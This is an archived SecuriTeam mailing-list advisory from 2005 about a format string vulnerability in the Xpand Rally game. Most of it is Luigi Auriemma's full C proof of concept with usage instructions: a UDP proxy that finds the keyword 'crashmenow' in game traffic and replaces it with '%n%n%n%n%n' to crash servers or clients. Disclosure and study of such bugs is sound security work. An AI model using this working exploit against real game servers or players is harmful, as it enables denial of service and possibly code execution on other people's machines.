[NT] Xpand Rally Format String Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/05

  • Next message: SecuriTeam: "[NT] Chaser Nickname Buffer Overflow"
    To: list@securiteam.com
    Date: 10 Mar 2005 16:55:51 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Xpand Rally Format String Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.techland.pl> Xpand Rally is "a cool rally game developed by
    Techland".

    The Xpand Rally game is affected by an format string bug that can be
    exploited by an attacker to execute malicious code through the sending of
    a malformed message.

    DETAILS

    Vulnerable Systems:
     * Xpand Rally version 1.1.0.0 and prior

    The attacker cannot sends the malformed message directly from his game
    because he will exploit his same machine, so is suggested the usage of a
    program that modifies the packets on the fly (like an UDP proxy for
    example). Both servers and clients are vulnerable and the vulnerability is
    in-game.

    Exploit:
    The exploit is a simple UDP proxy server that substitutes the keyword
    crashmenow with a sequence of %n patterns causing the crash of the server
    or the client that receives it.

    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/xprallyfs.zip

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 65536
    #define KEYWORD "crashmenow"
    #define KEYFSTR "%n%n%n%n%n"
    #define KEYSZ (sizeof(KEYWORD) - 1)

    void hack_pck(u_char *buff, int len);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer1,
                            peer2;
        fd_set readset;
        int sd1,
                sd2,
                len,
                bigsock,
                on = 1,
                psz,
                versus = 3;
        u_short sport,
                lport;
        u_char buff[BUFFSZ];

        setbuf(stdout, NULL);

        fputs("\n"
            "Xpand Rally <= 1.1.0.0 in-game format string bug "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 4) {
            printf("\n"
                "Usage: %s <server> <server_port> <local_port> [versus]\n"
                "\n"
                " \"versus\" is an optional parameter that can be 1 if you
    want to modify\n"
                " only the client's packets, 2 to modify the packets sent by
    the server or\n"
                " 3 to modify both (default).\n"
                "\n"
                " Note: default game port is 28015 so use this port if you
    have doubts\n"
                " Note: this tool supports only one client at time\n"
                "\n", argv[0]);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        fputs("\n"
            "How to use this proof-of-concept:\n"
            "---------------------------------\n"
            "1) launch this tool specifing all the correct parameters (ok)\n"
            "2) launch your Xpand Rally game (client or server depending by
    what you want\n"
            " to test)\n"
            "3) connect to localhost (127.0.0.1)\n"
            "4) when you are in the server send a message containing the
    keyword "KEYWORD"\n"
            " The keyword will be substituited with "KEYFSTR" that will
    crash the server\n"
            "\n", stdout);

        if(argc > 4) versus = atoi(argv[4]) & 3;

        sport = atoi(argv[2]);
        lport = atoi(argv[3]);

        peer1.sin_addr.s_addr = INADDR_ANY; /* listen for client */
        peer1.sin_port = htons(lport);
        peer1.sin_family = AF_INET;

        peer2.sin_addr.s_addr = resolv(argv[1]); /* connect to server */
        peer2.sin_port = htons(sport);
        peer2.sin_family = AF_INET;

        psz = sizeof(peer1);

        printf("\n"
            "- server: %s : %hu\n"
            "- bind UDP port %u\n"
            "- attack versus server: %s\n"
            "- attack versus client: %s\n"
            "\n",
            inet_ntoa(peer2.sin_addr), sport,
            lport,
            (versus & 1) ? "yes" : "no",
            (versus & 2) ? "yes" : "no");

        sd1 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd1 < 0) std_err();
        sd2 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd2 < 0) std_err();

        if(setsockopt(sd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd1, (struct sockaddr *)&peer1, sizeof(peer1))
          < 0) std_err();

        fputs("- ready\n", stdout);
        FD_ZERO(&readset); // wait first client's packet
        FD_SET(sd1, &readset);
        if(select(sd1 + 1, &readset, NULL, NULL, NULL)
          < 0) std_err();

        if(sd1 > sd2) bigsock = sd1 + 1;
            else bigsock = sd2 + 1;

        for(;;) {
            FD_ZERO(&readset);
            FD_SET(sd1, &readset);
            FD_SET(sd2, &readset);
            if(select(bigsock, &readset, NULL, NULL, NULL)
              < 0) std_err();

            if(FD_ISSET(sd1, &readset)) { // CLIENT
                len = recvfrom(sd1, buff, BUFFSZ, 0, (struct sockaddr
    *)&peer1, &psz);
                if(len < 0) std_err();
                if(versus & 1) hack_pck(buff, len);
                if(sendto(sd2, buff, len, 0, (struct sockaddr *)&peer2,
    sizeof(peer2))
                  < 0) std_err();

            } else if(FD_ISSET(sd2, &readset)) { // SERVER
                len = recvfrom(sd2, buff, BUFFSZ, 0, (struct sockaddr
    *)&peer2, &psz);
                if(len < 0) std_err();
                if(versus & 2) hack_pck(buff, len);
                if(sendto(sd1, buff, len, 0, (struct sockaddr *)&peer1,
    sizeof(peer1))
                  < 0) std_err();
            }

            fputc('.', stdout);
        }

        close(sd1);
        close(sd2);
        return(0);
    }

    void hack_pck(u_char *buff, int len) {
        u_char *p,
                *l;

        l = buff + len - KEYSZ;
        for(p = buff; p <= l; p++) {
            if(!memcmp(p, KEYWORD, KEYSZ)) {
                memcpy(p, KEYFSTR, KEYSZ);
                fputs("\n HACKED PACKET MODIFIED\n", stdout);
            }
        }
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/xprallyfs-adv.txt>
    http://aluigi.altervista.org/adv/xprallyfs-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Chaser Nickname Buffer Overflow"

    Relevant Pages

    • [EXPL] Veritas Backup Exec Agent Browser Registration Request Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... next generation backup and restore solution for Microsoft Windows server ... the shellcode 5 minutes later, the service will hang on to death of course ...
      (Securiteam)
    • [NT] Medieval Total War DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... it) by connecting to the server using an arbitrary long nickname. ... void show_word(u_char *buff, int num); ...
      (Securiteam)
    • [EXPL] BakBone NetVault Remote Heap Buffer Overflow (clientname)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... a NetVault user can trigger a heap based ... void usage; ...
      (Securiteam)
    • [NT] Ultr@VNC Multiple Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ultr@VNC Multiple Buffer Overflows ... Lack of proper length validation in server and client input allows ...
      (Securiteam)
    • [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password De
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... HP Web JetAdmin is an enterprise management system for large amounts of HP ... The web server is a modular service ... HP Web JetAdmin uses it's own encryption. ...
      (Securiteam)